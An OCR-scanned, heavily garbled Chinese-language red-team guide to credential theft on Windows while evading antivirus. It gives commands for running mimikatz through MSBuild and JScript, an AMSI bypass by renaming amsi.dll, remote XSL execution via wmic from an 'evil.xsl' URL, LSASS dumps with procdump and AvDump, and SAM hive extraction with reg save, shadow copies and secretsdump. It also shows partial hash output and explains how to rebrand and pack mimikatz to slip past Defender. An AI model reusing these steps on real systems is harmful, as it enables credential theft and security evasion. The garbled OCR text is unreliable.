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BAEHE: Di\program\iFE 5.9.7.10890 4hi%kR x86x64\HaoZip.exe
FSEE: C\Users\tOuma\Downloads\Compressed\mimikatz_trunk\x64\mimikatz.exe

EEW: HackTool/Mikatz.f
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BIESER: CaE
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EIfEEHackTool/Mikatz.f, E4ME
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Net4. 0 4T E
N# oxml X

https://raw. githubusercontent.com/3gstudent/msbuild-

inline-task/master/executes%20mimikatz. xml

BEN Net4.0 H, $hATRIA,
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

\MSBuild.exe 1.xml



PS C:\Windows\Microsoft. NET\Flamewolkb4\v4 0.30319>
M1crosoft(R) EEE?nlap S

f R EEhEtrE A 2020/12/11 14:45:25.
Preferred Load Address = 140000000
Allocated Space For 63000 at 1CEBEDAO0OOO
Section .text , Copied To 1CEBEDA1000
Section .rdata , Copied To 1CEBEDCEQO00Q
section .data , Copied To 1CEBEDF/000
Section .pdata , Copied To 1CEBEDFB000
Section .rsrc , Copied To 1CEBEDFDO0O0O
section .reloc Copied To 1CEBEE01000
Delta = ]_CD EDAOOOO

Loaded ADVAPI32.d11

Loaded CRYPT32.d1]1

Loaded cryptdll1.dl11

Loaded NETAPI32.d11

Loaded NTDSAPI.d1]1

Loaded RPCRT4.d11

Loaded SHLWAPI.d11

Loaded SAMLIB.d11

Loaded Secur32.dl1

Loaded SHELL32.d11

Loaded USER32.d171

Loaded ntd11.d11

Loaded KERNEL32.d11

Loaded msvcrt.dl]

Executing Mimikatz

L #HHE
CH#E N #HEL
/N #E gk k%
N/ Benjamin DELPY
http://

mimikatz 2.0 alpha (x64) release "Kiwi

“gentilkiwi’
blog.gentilkiwi.com/mimikatz
with

AN
AR

JS m#

cscript mimikatz.js

B O 2R e AV R A,

bypass, i & DLL ¥ H#F % d . K

w] LUE Bt

FEYHH C:\Windows\System32\amsi.

_\MSBuild.exe 1.xml

en C" (Aug 17 2015 00:14:48)

( benjamin@gentilkiwi.com )

(oe.eo0)
16 modules * * #/

AT AR AT
£

ProcessMonitor

dl1l

wscnpt.exe

5836 = QueryBasicinformatio
wscript exe o836 11(“..’: seFile C
wscript exe 5836 B CreateFie C

5836 3 CrealeFileMapping C
5836 £ CreateFieMapping
5836 gy Load Image

5836 5 CloseFile ,
5836 B QueryNamelnformatio..C

wscnpl.exe
wscrnpt exe
wscrpl.exe
WSCT I[ﬂ exe
wscnpt exe

C.\Windows\System32\amsi.dil

\Windows\System32\amsi.dil
\Windows\System32\amsi.dil

\Windows\System32\amsi dil

\Windows\System32\amsi dil
AWindows\System32\amsi.dil
Windows\System32\amsi dil
\Windov

s\ System32\amsi dil



WATE X H DLL ##FRIAT,
copy c:\windows\system32\cscript amsi.dll

asmi.dll 11.js

H
HH
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#
]

MR mimikatz B js WA, AWTRLZHEF THB N 4.

https://gist.github.com/pljoel/42daebeb6a86ad43612bea

6961cbb9dla



INSTRUCTIONS:

1. Grab the latest release of mimikatz: htt

://github.com/gentilkiwi/mimikatz/releases

2. a) Uncomment the building lines from Casey's project in Delive

.Program.Main() (You may want to comment the Exec() line though)

b) It is going to produce a file.b64, so copy it's content and replace Delivery.Package.file string by it

c) Comment back the lines helping to make file.bB4

d) In order to help DotNetTolscript add the following lines to the end of katz.cs:

public class TestClass
{
public TestClass()
{
/* Start katz */

Delivery.Program.Main();

) Make an .exe :

:\Windows\Microsoft.NET\Framework\v4.8.38319\

3. a) Build DotNetTolScript project. Note: You don't need to build 'ExampleAssembly’ project

b) Create mimikatz.js using DotNetTolScript you just built and katz.exe you built on step 2:

\csc.exe /r:System.EnterpriseServices.dll /r:System.I0.Compression.dll /unsafe katz.cs

C:\< path to DotNetTolScript >\DotNetTolScript.exe -o mimikatz.js -ver auto C:\< path to katz >\katz.exe

Launch mimikatz in-memory using javascript:

cscript.exe .\mimikatz.js

XHEHH csc £ T base64 MBI A, H HHFH
JFBEIANAAF W mimikatzo

wmic

AHi: wmic process list /FORMAT:evil.xsl

{iwl en

H
HH
HH
#
:

> not found !

not r

wmic os get /FORMAT:"https://example.com/evil.xsl"

javascript




" command of “st rd” module not found !

gs not reguire module name)

Internal Monologue Attack
https://github.com/eladshamir/Internal-Monologue

. ik SSPT i NTLM B H5uE, @ e X
challenge [ 2t NetNTLMv1l, 3RH(F| NetNTLMvl hash.
NetNTLMv1 hash W] LUK WS [A] N f8 B2 T 3% 25 B A

XA WA LLAE R B fik LSASS MO W RN K & ONTLM
L A Al z

R AR, A A TR 2R R N AR BN 52 AR R gk R
iGN AF . BT NetNTLMvl Wiy & @ ik /8 A #h 5 NTLMSSP
51 il = NV - < 3 R 12 O N 5 22 3 = QP Sl = N v = B L R AR
AEGER . BEHEBRIDE NTLM SMHBIFFEAFCFEEDEF .

oK

tt 1z 1T Mimikatz

KT NTLM BT LA R X R

https://www.optiv.com/explore—optiv—
insights/blog/post-exploitation-using-netntlm-

downgrade—-attacks



.\InternalMonologue.exe -Downgrade True -Restore False -

Imperssonate True-Verbose True -Challenge 1122334455667788

BTy H B S ET R K o HASH .

Bypass

AR LTESRB A XE R, RAMATUA LA FiEE LT,
Hfig LASS, WA XM, HI/EHM Bypassmimikazi %545,

Procdump

ProcDump v10.0

2020/09/17 + 6 S$HEIEST - P -
By Mark Russinovich and Andrew Richards

Published: 09/17/2020

% Download ProcDump (659 KB)

Download ProcDump for Linux (GitHub)

Introduction

ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and
generating crash dumps during a spike that an administrator or developer can use to determine the cause of the
spike. ProcDump also includes hung window monitoring (using the same definition of a window hang that
Windows and Task Manager use), unhandled exception monitoring and can generate dumps based on the values

of system performance counters. It also can serve as a general process dump utility that you can embed in other

scripts.
B Vil o 28] : ProcDump
e MmAITEHER, HETEHMEZRBUMNHAERF B K CPU

R
I W I 7E O U BA 18] A= BB ot R i, B R EOF KON A BLAE A B R
i E R U Jif A . ProcDump



A AEERENE DM, R REEA, HFHTUET RS
RE TF A% BB 2R BB At . B B AT DU R W LR R B A sk LR

PN X e A vl ib]
Procdump, W FERZMKE I TMNZEY, FUERABELE bypass

HEARNE AR A EK dump H lass HFHEH %M,

EEZEEEE)

=R |Mir:rc-scuft Corporation
FEF R o HE

EEaTE Pnzm£9H1aE 0:19:38

EEUEHRN

AT IR iy A

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

jcduma.exe

mp utility
h and Andrew Richards

EARNE EHME mimikazi S#HT7ZWEEORIIESE



mimilkatz # sekurlsa::

Switch to MINIDUME : °

words full
minidump. ..

4594111-1000

ESKTOP-VRIIPZEG
{rmall)

Avdump

Avdump. exe = 7E Avast HomeSecurity

PR B R AR B N TR AL O, i SRR P R 4 € i AR AR
WA NS R EMAME. AT EEEHETHE dunp
J7 R



EAFEA  EAEl ESSIFkRE

J{avast

ZE v BEFA v 8 ~ Bt v o S

TERBERIIRSIRTEIR
SEXBEHRNE—S

XS, S ABENEREETe, BRI AR EBHARHEK
NSRRI R 2SR E ™ mm.

I THARNEPIS

FrErcER - higem LISl °°F=5

ST

EHW Avast XA AAAZH.

Signer information

Mame: Imrast Software s.r.o.
E-mail: INl:ut available
Signing time: |Fric|a-_,r, November 6, 2020 4:48:01 AM
View Certificate
BN EEEITEA,

.\AvDump.exe --pid 696 --exception_ptr 0 --dump_level 1 --
thread_id ©--min_interval @ --dump_file e:\tmp\last.dmp



AN FHE nimikazi HATHEGKRIEE.

N

mmikatz # sekurlsa:

to NINIDUME : °

14111-1000

* [omain
= NTLN
SHA

TOP-VENP2Ei

) OP-VEMPZEG
lmll)

SAM fiF53

f — AR KW EDR, =2 HH Procdump. Minidump % R 4E
lsass #EFE, FATA PL#He—FpJ7 3%
SAM ® & % & bk o' OHE & . T 17 fE JrOA
hash, AL SRIGUEARM A ZE .

f# %  hash, A1 % F 3 B % SAM SYSTEM SECURITY
X =A . HEBE X3 SO ERAT B ge kAT S HL .

E



EMERRE

REG SAVE
B Fi5 € B9 7 . TR VE N R AE B B A IR AF B 4R 2 SR, B R A
MEF T .

reg save hklm\system SYSTEM

reg save hklm\sam SAM

reg save hklm\security SECURITY

: hklmbsystem SYSTEN

ve hklmsecurity SECURITY

ve hklm'sam SAN

82
WA NG RE ARG DR R E 3 At
Jefl# ¢ #£01 shadowscopy

wmic shadowcopy volume="c: \'

r call create volume= c:

shadows i)

EE

2l
list, M IFIEFEERRIAL, B EH AR EZK =11



vssadmin list shadows

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\syst

em32\config\sam.

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\syst

em32\config\security.

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\syst

em32\config\system.

% Har ddi skVolumeShadowl opyd

HarddiskVolumeShad

4 Harddi skVolumeShad

fR B2 HASH

W Em LA s ER 3 A )E ., RATM impacket-

secretsdump KT i %5 .

impacket-secretsdump -sam SAM -security SECURITY - SYSTEM
LOCAL

A2 HASH BHEXMBEHERA.



tsdump -sam SAM -security SECURITY -system SYSTEM LOf
SecureAuth rporation

63bdald6
h)
or:500:aad3b435b51404ecaad. b514@4ee:31d6cfeddl
ad3b435b51404eeaad3bai5Sb51404 3 fedd16ae931b73c59d
DefaultAccount:503:aad3b435b51404eeaad3bs3s! bee:31d6cfedd16ae931b73c59d7edc c@::
WDAGUtilityAcc 04:aad3b435b51404ecaadibs35b51404ee:ae210dbdI1adbe3 4098496 :::
tes 000:2ad3b435b51404 ad3b435b51404ee:0C 0 8
[*] Dumping cached domain logon information (domain/
[+] Dumpin
[+] DPAPI
dpapi_machinekey:
rkey:@x35fee2c®

66 95 5B @E @C 29 77 E3 91 89 BS 94 32 @5

ee1e 9 OC FF A9 B6 CD BF 14 EE 2A A9 31 80 4A
o020 74 2 AR )1 @5 89 79 FS
eese 9 C OE 9E .
NL$KM: ef66e7955b0edcC 7 8 fliee 931804
[*] RasDialParam B 786494111-1000#0
|000 32 @ 2 6 00 35 00 00 00 31 00 2 F
eo1e 36 6 00 31 0@
2020 3 6 @0 6E @0 61 @0 6D 00
[k 65 00 20 00 00 00 00 20 00 20 o0 00 e
RasDialParams -21-211 8 3746226910-3786494111-10008: 35 203100000000000000750 00650072006e006100

00000000000000310000000000

eaning up ...

mimikatz B3

Rtz AN IRATE 0T AR MIMIKAZi 847 % X 00 a5,

— M TR G N BR ACAS JZ MIMIKATZ R 4R, BRINBEIE, W 1CO
Kidr, B# bin AR,

WERIFTEF (N5, WEXAFE.

B e I BR B OA /E B AR ico
Find and Replace

Find in Files Replace in Files

mimikatz

t[}rr_{

de external items




kprintf(
L" . " t@uma_FULL L"\n"
" " um COND L" -

njamin DELPY

nt LE TOUX
Le
t@uma_in

B rc FRAE

BEGIN
BLOCK "StringFileInfo”
BEGIN
BLOCK "040904b0"
BEGIN
VALUE
VALUE
VALUE
VALUE "
VALUE
VALUE
VALUE =galCopyrig — 2051"
VALUE "OriginalFilename", "t
VALUE "pPOC"
VALUE "pocC"
END
END
BLOCK "VarFilelInfo"
BEGIN
VALUE "Translation'", ;
END
END
A Hex # H  — & f K DLL, ® #

wdigest.dll, isbase64interceptinput ZF% 34T & #H

BHBUER bin X TEREXRRGEERK d11 Tk

netapi3d?2



Dump

File

ordinal name

I NetServerfiuthenticate?2
I NetServerReqChallenge
I NetServerTrustPasswordsGet

KRG netapild2.dll X

& bin XHHKEHTZEEEHK ARG M function.

JEF: netap def fOUT:tBuma.lib
/ Manager Ver;lon 14.
aU+t Corporation. All rights reserwved.

CHINE not specified; defaulting to X64

eating library t@uma 1ib and object t@uma.




Dump of file netapil2.min

File Type: LIBRARY
Exports
ordinal name
59
65

62

T —

Aib

RIEMHH themdia MM3E)5 HIEAT.

@ Themida

DB AT R E

ADVANCED WINDOWS SOFTWARE PROTECTION




TSI

EfTHhiE, 72, BEML Windows Defender IRHIARISHE,

o) HhimE

2 RS A ANETEE AR, R EaEc s

o4
i H AV
Ak & AT N E R R R 0 o T R R K, R AT

i

G N T A TR E I AN RAR 2 I N e I S I IR S i WRE AN I 7

.

2 25 Bk %

https://www.archcloudlabs.com/projects/dumping-—

memory-with—-av/
https://blog. xpnsec.com/exploring-mimikatz-part-2/

https://www.optiv.com/explore—optiv—
insights/blog/post-exploitation-using-netntlm-

downgrade—-attacks

https://www. tiraniddo. dev/2018/06/disabling—amsi—in-—

jscript-with-one. html

https://3gstudent. github. io/3gstudent. github. i0o/%E5%
88%AIBET%I4%BA8TSUELDSAWAORES8%YBD%BD. Net%WET7%A8%8B%E5%B
A%8F/



https://evilcg. me/archives/AMSI bypass.html

https://blog. csdn.net/wxh0000mm/article/details/ 1058
42889

https://www. secpulse.com/archives/71380.html
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